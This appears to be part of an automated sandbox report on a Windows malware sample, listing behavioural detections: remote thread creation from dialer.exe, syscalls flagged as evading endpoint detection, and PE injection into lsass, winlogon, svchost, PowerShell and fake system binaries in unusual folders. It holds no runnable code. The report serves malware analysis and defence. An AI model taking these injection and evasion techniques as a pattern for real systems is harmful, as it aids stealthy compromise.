Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2692908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D1C12908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DDA32908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DDC52908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: 84CE2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F0F22908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 83002908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 70892908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 708C2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 689F2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 68A42908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F02908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1032908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1542908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1672908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AC282908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AC3A2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B52908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B82908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A02908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F02908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 74422908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 76252908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DEAC2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DEBE2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 792908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: 31962908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1BB02908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1512908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1D752908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 782908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1BB82908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7D4E2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7D542908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A78A2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A7902908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 902908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: B5AB2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 10B2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1412908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1C812908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 54532908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1D232908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 54812908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FF282908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1552908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FF412908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\Conhost.exe EIP: 14902908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1CA42908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 11D2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 19D2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 88572908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 801A2908

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	NtResumeThread: Indirect: 0x1AFF24CA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	NtQuerySystemInformation: Direct from: 0x7FF79597722E	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	NtDeviceIoControlFile: Indirect: 0x1AFF2D4D	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	NtQueryDirectoryFile: Indirect: 0x1AFF255A	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	NtEnumerateKey: Indirect: 0x1AFF2A31	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	NtEnumerateValueKey: Indirect: 0x1AFF2AC1	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	NtEnumerateKey: Indirect: 0x1AFF29F9	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	NtEnumerateValueKey: Indirect: 0x1AFF2AF5	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	NtQuerySystemInformation: Indirect: 0x1AFF21FD	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEF80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B380000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166960000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E29CC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 1390000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F49DCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20AF95B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 24EBE490000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1F5E7FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26F6BA40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20B657E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28453480000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Users\user\AppData\Local\Temp\twain_32.exe base: 24B34510000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 216AAA70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1AFC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1D4EDD40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 13ACAE60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: BA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: 1330000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\schtasks.exe base: 1ACD1120000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\schtasks.exe base: 1BB84960000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: BA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 18FB6560000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 27F1A600000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1ECA8620000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1A77D1E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C6117C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 27614EA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 15F733A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2D365CB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 11840E70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C67E130000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 24CF8170000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1CD66020000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 213113F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1D211960000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 25F1BEF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 18FB8360000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2047E150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1CDF37F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2C34E3F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C611AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 15038510000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1D92BF30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1CDF3910000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1FB26780000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 15038560000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1742D060000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 294ABE90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: 770000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 21442D80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1742D180000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: D80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 14DDD380000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 278B1D80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 244424C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 21442FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1BE168A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 7D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 278B1EA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 244424F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 12615CC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 255036C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1F56B300000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28115FE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 1190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1C1574B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2B5675A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2185C8F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1C14D340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 25402690000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 25CD1C10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 11C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 195DDA30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 195DDC50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E984CE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\schtasks.exe base: 193F0F20000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 19D83000000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Google\Chrome\updater.exe base: 27E70890000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Google\Chrome\updater.exe base: 27E708C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\chcp.com base: 1FD689F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\chcp.com base: 1FD68A40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: F00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1030000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1670000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\w32tm.exe base: 216AC280000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\w32tm.exe base: 216AC3A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: B80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: A00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: F00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 17C74420000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 17C76250000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1AEDEAC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1AEDEBE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: 790000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 15931960000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: 1BB00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: 1510000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\lsass.exe base: 1D750000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 780000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 1BB80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 1617D4E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 1617D540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1F1A78A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1F1A7900000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 900000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1C8B5AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Windows Defender\Platform\sihost.exe base: 10B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1410000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1C810000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 21154530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 21154810000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 1B71D230000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\consent.exe base: 1B71D810000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 201FF280000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1550000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 201FF410000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E314900000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\containerperf\ServerComponenthostMonitorDll.exe base: 1CA40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\appcompat\powershell.exe base: 11D0000 value starts with: 4D5A
